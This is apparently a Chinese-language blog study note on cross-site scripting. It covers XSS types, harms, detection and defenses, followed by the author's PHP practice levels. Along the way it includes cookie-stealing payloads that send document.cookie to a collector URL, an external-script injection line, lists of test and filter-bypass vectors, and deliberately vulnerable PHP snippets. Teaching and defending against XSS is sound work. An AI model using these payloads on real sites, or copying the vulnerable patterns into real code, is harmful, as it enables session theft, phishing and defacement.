跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害。xss漏洞是web渗透测试中最常见而又使用最灵活的一个漏洞,近期在拜读了《白帽子讲web安全》、《Web实战篇》、《XSS跨站脚本攻击剖析与防御》等几部佳作后,决定整理关于Xss漏洞的一些知识,并以本篇作为记录,权当笔记or读后感。
本篇内容主要包含xss漏洞攻击与防御理论知识,以及结合原创的xss漏洞闯关平台,通过实操的方式展示xss的攻击以及防御方法。由于xss理论知识网上非常丰富,这里不做详细讲解,本篇内容着重实操练习的过程。
Xss分类
xss大致分为:反射型、存储型、DOM型(这三种为主流)
反射型xss:只是简单地把用户输入的数据”反射”给浏览器,攻击时需要用户配合点击,也叫”非持久型xss”。
存储型xss:会把用户输入的数据”存储”在服务器端,也叫”持久性xss”,常见留言板等可以提交展示用户输入内容的功能点。
DOM型xss:从是否存储可划分成反射型,可通过修改页面的DOM节点形成的xss漏洞。
注意:无论反射型还是存储型,都是需要与服务端交互的,即服务端将提交的内容反馈到了html源码内,导致触发xss,也就是说返回到html源码中可以看到触发xss的代码;而DOM型xss是不与服务端交互的,只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。那么这种形式有一个问题,就是html源码里面不存在触发xss的代码,因为服务端返回的源码都是一样的,只不过源码里面包含了一段js,这段js再执行后生成了一段xss代码,可以在审查元素中查看到。
Xss危害
xss漏洞是发生在客户端,目的是让浏览器执行一段用户提交的恶意js代码,从而达到某种目的。从表面上看,xss漏洞的危害止步于客户端,且主要就是用来执行js获取用户信息(比如浏览器版本等等)。然而由于xss漏洞可能发生的地方很多,因此被利用的情况也不统一,以下列举了xss漏洞能够造成的一些危害(xss漏洞危害包含但不仅限于以下几种)。
- cookie劫持(窃取cookie)
- 后台增删改文章等操作(类似于csrf骗取用户点击,利用js模拟浏览器发包,借助xmlhttprequest类)
- 钓鱼,利用xss构造出一个登录框,骗取用户账户密码。
- Xss蠕虫(利用xss漏洞进行传播)
- 修改网页代码
- 利用网站重定向
- 获取用户信息(如浏览器信息,IP地址等)
利用xss窃取cookie
利用xss进行cookie获取劫持是最常用的一种姿势,因为其能获取到管理员权限,危害较大,且利用简单。
cookie介绍
cookie分为内存cookie和硬盘cookie,内存cookie储存在浏览器内存中,关闭浏览器则消失。cookie由变量名与值组成,其属性里有标准的cookie变量,也有用户自定义的属性。
cookie格式:Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly]
cookie各个参数详细内容:
- Set-cookie:http响应头,向客户端发送cookie。
- Name=value:每个cookie必须包含的内容。
- Expires=date:EXpires确定了cookie的有效终止日期,可选。如果缺省,则cookie不保存在硬盘中,只保存在浏览器内存中。
- Domain=domain-name:确定了哪些inernet域中的web服务器可读取浏览器储存的cookie,缺省为该web服务器域名。
- Path=path:定义了web服务器哪些路径下的页面可获取服务器发送的cookie。
- Secure:在cookie中标记该变量,表明只有为https通信协议时,浏览器才向服务器提交cookie。
- Httponly:禁止javascript读取,如果cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击。
利用xss窃取cookie方法
本地写一个xss_cookie.php页面,用于接收cookie。
在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到xss_cookie.php,并且将cookie参数传递进去,写入文件中。
常用获取cookie的js代码(可自行扩展):
1 2 | <img src="http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"></img> <script>new Image().src="http://localhost/cspt/XSS/xss_cookie.php?cookie="+document.cookie;</script> |
提交之后,本地cookie.txt文件中就会写入cookie值。
利用xss篡改网页
前提:网站必须存在存储型xss漏洞,并且会将结果返回到页面上。
这样我们就可以插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。
实例:修改网站所有连接地址
本地编写一个test.js脚本,内容如下:
将以下语句插入存在存储型xss漏洞的网站
1 | <script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script> |
可以发现存在该漏洞的网页上所有的链接都变成了www.google.com。
注:javascript加载外部的代码文件可以是任意扩展名(无扩展名也可以)
利用xss获取用户信息
xss获取用户信息,运用最多的还是获取cookie信息,但除此之外,还可以获取用户浏览器版本、外网IP地址、浏览器安装的插件类型等等。以下列举了利用xss获取的客户端用户信息(包含但不仅限于以下几种)。
- alert(navigator.userAgent);读取userAgent内容
- alert(document.cookie);读取用户cookie内容
- 利用java环境,调用java Applet的接口获取客户端本地IP
注:利用Xss漏洞能做的事有很多,前面已经列举了一些,这里便不对每一个都展开讲解,如需了解更多的xss漏洞内容,最好的方式还是看书。
Xss漏洞探测
前面介绍了一些xss漏洞的基础内容,那么如何去检测一个网站(某个点)是否存在xss漏洞呢?
xss探针
我们可以在测试xss的位置写入以下代码,查看页面源码,观察哪些代码被过滤或者转义。
1 | '';!--"<XSS>=&{()} |
xss探针可检测出网站有没有对xss漏洞做最基础的防御。
基础xss语句
除了xss探针以外,我们也可以输入最简单的测试语句:
1 | <script>alert(/xss/)</script> |
如果插入的语句被原封不动的呈现在了浏览器中,那么说明了2个问题:
- 代码没有被过滤,说明存在xss
- 代码没有被执行,因为没有闭合类似textarea标签,可以查看下源码。
如果发现某些参数被过滤了,那么尝试使用其他方式(详细介绍在绕过一节会讲)。
xss检测常用语句
列举一些常用的xss漏洞检测代码:
1 2 3 4 5 6 7 8 | <script>alert(/xss/);</script> <script>alert(/xss/)// <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号,也可以分号+空格(回车一起使用) <img src=1 οnmοuseοver=alert(1)> <a herf=1 οnlοad=alert(1)>nmask</a> <script>window.a==1?1:prompt(a=1)</script> <script>a=prompt;a(1)</script> <img src=0 οnerrοr=confirm('1')> |
Xss防御
如何利用xss漏洞实施攻击并不是身为安全工程师的重点,xss防御才是我们努力要去做的。以下列举几种常见的xss防御方式,个人认为也是非常有效的方式。
- 可在cookie中设置httponly(浏览器禁止页面的js访问带有httponly属性的cookie)
- xss filter(检查输入,设置白名单方式)
- 输出检查(编码,转义,常用编码:html编码,js编码,16进制等)
- 针对不同位置的输出,使用不同的处理方式
- 处理富文本
- header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)
设置httponly
httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。
xss filter
Xss filter往往是一个文本文件,里面包含了允许被用户输入提交的字符(也有些是包含不允许用户提交的字符)。它检测的点在于用户输入的时候,xss filter分为白名单与黑名单,推荐使用白名单,但即使使用白名单还是无法完全杜绝xss问题,并且使用不当可能会带来很高的误报率。
编码转义
编码方式有很多,比如html编码、url编码、16进制编码、javascript编码等。
在处理用户输入时,除了用xss filter的方式过滤一些敏感字符外,还需要配合编码,将一些敏感字符通过编码的方式改变原来的样子,从而不能被浏览器当成js代码执行。
处理富文本
有些网页编辑器允许用户提交一些自定义的html代码,称之为”富文本”。想要在富文本处防御xss漏洞,最简单有效的方式就是控制用户能使用的标签,限制为只能使用a、div等安全的标签。
处理所有输出类型的xss漏洞
xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义。
HTML标签中输出
即用户输入的内容直接在标签中显示:
1 | <div>$input</div> |
防御方式,将用户输入进行html编码。
HTML属性中输出
即用户输入的内容出现在标签的某个属性中:
1 | <div name="$input"></div> |
防御方式,将用户输入进行html编码。
Script标签中输出
即用户输入的内容出现在script标签里面:
1 2 3 | <script> var a="$input"; // $input=";alert(/xss/);//"; 则会产生xss漏洞 </script> |
防御方式,将用户输入进行javascript编码。
在事件中输出
即在事件标签中输出用户输出的内容,比如onclick标签等。
防御方式,将用户输入进行javascript编码。
在CSS中输出
即用户输入的内容出现在了css的style等标签中。
防御方式,进行十六进制编码。
在地址中输出
这个跟在html属性中输出类似,即在a标签的href属性中输出。
防御方式,将用户输入进行url编码。
总结:总得来说防御xss的方式只是三种:httponly、过滤字符、转义字符。然而使用何种编码转义,什么地方需要做转义才是真正防御xss漏洞的难点及重点,如果能搞明白并解决这个问题,那么xss漏洞将会无处可寻。————《白帽子将web安全》一书xss篇读后感。
Xss绕过技巧
有xss防御便会有xss绕过防御姿势,这是攻与防不断博弈的表现与成果。作为一名安全工程师,了解如何绕过xss防御可以更好地解决xss防御问题。(这里探讨的绕过xss防御不包含绕过waf的部分)
绕过xss filter
绕过xss filter的前提在于,xss filter使用了黑名单,并且没有过滤完全。
前提一:如果过滤了”《script》”字符串,但没有过滤”<”、”>”字符,则可以使用javascript:[code]伪协议的形式。
1 | <img src="javascript:alert('test');"> |
前提二:过滤了《script》,且只过滤一次。
1 | <scr<script>ipt> |
前提三:没有正确处理空格、回车等字符
1 2 3 | <img src="javas Cript: Alert(/xss/)" width=100> |
关于绕过xss filter的方式还有很多,这里不一一展开了,只是列举下常见的方法:
- 转换大小写
- 大小写混写
- 双引号改单引号
- 引号改为/
- 用全角字符
- 使用javascript伪协议
- 使用回车、空格等特殊字符
- 在css的style中使用/**/注释符
- 使用字符编码
- 利用事件触发xss
Xss闯关实操
为了加深对xss漏洞的理解,我特意用php编写了一套xss闯关练习平台,里面包含了一些常见的xss防御题型,我们需要做的就是如何去绕过这些防御,以及思考这些防御的弱点在于哪里?
xss闯关练习平台页面展示:
因为时间有限,并没有对页面进行美化,凑合着用用~!~。
平台题目由易到难,接下来的实操以及介绍也会从简单到复杂。介绍时,我会分别展示php源码中的防御方式(展示服务端代码),以及如何去绕过这些防御(展示客户端html代码)。
无任何过滤
下图是最简单的一个xss练习例子,网页从url中获取参数id的值,直接在页面中显示出来,没有做任何过滤。
查看网页源代码:
查看php代码:
1 2 | $id=$_GET['id']; echo '当前提交的参数:'.'<font color=red>'.$id.'</font>'; |
过滤《script》
那么一般情况下,网站不可能对用户输入不做任何过滤,比如以下案例:
通过观察html代码我们可以看到过滤了《script》以及《/script》,查看下php代码:
1 2 3 4 | $id=$_GET['id']; $id=preg_replace("/<script>/", "", $id); $id=preg_replace("/<\/script>/", "", $id); echo '提交的参数:'.'<font color=red>'.$id.'</font>'; |
过滤alert
让我们增加点难度,直接看第5题:
这回我们输入内容后,网页直接显示报错,而不是返回过滤后的内容,这将会增加我们判断服务端过滤规则的难度。为了方便演示,我这边直接打开php代码查看(实际测试过程肯定是比较漫长的,需要一个个标签去试)
1 2 3 4 5 | $id=$_GET['id']; if (preg_match('/alert/i',$id)){ echo '出错啦!'; }else{ echo '提交的参数:'.'<font color=red>'.$id.'</font>'; |
知道了服务端过滤了alert标签后,我们就可以构造绕过方式了:
能构造弹框的标签有好几种(当然真实环境应该不会只过滤弹框标签)
结合事件构造xss
乍一看第8题并没有什么很好的思路。
然后我通过查看html源码,寻找一些蛛丝马迹:
在测试几次后,我们发现网页源码中的变化:
让我们来看看php代码是怎么写的:
1 2 3 4 | <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method='post'> YOUR CODE:<input type='text' name='code'/> <input type='submit' name='submit'/> </form> |
可以看到php代码实现了将网页自身的url输出到form的action属性中。
构造xss:
查看下html源码
1 | <form action="/XSS/xss_8.php /" οnsubmit='alert(1)' name="" method='post'> |
然后点击按钮,执行了onsubmit事件。
总结:关于xss的案例还有很多,由于篇幅的关系,这里不一一演示了。xss练习平台只是列举了最基础且常见的xss漏洞情况,实例后期可以再进行增加,而关键点在于通过实操可以让我们深刻理解xss发生的位置,以及如何更好地去防御它。
Xss平台
xss漏洞的利用离不开一个强大的xss平台,关于xss平台的搭建与使用,请移步:xss平台搭建小记
说明:本文将会持续更新一些xss绕过以及防御姿势,目前本文对绕过以及防御姿势的描述有限,一是由于本人对xss漏洞理解不够深入,二是由于缺乏测试案例。但随着学习的深入,相信会记录更多更好的干货,尽情期待哦。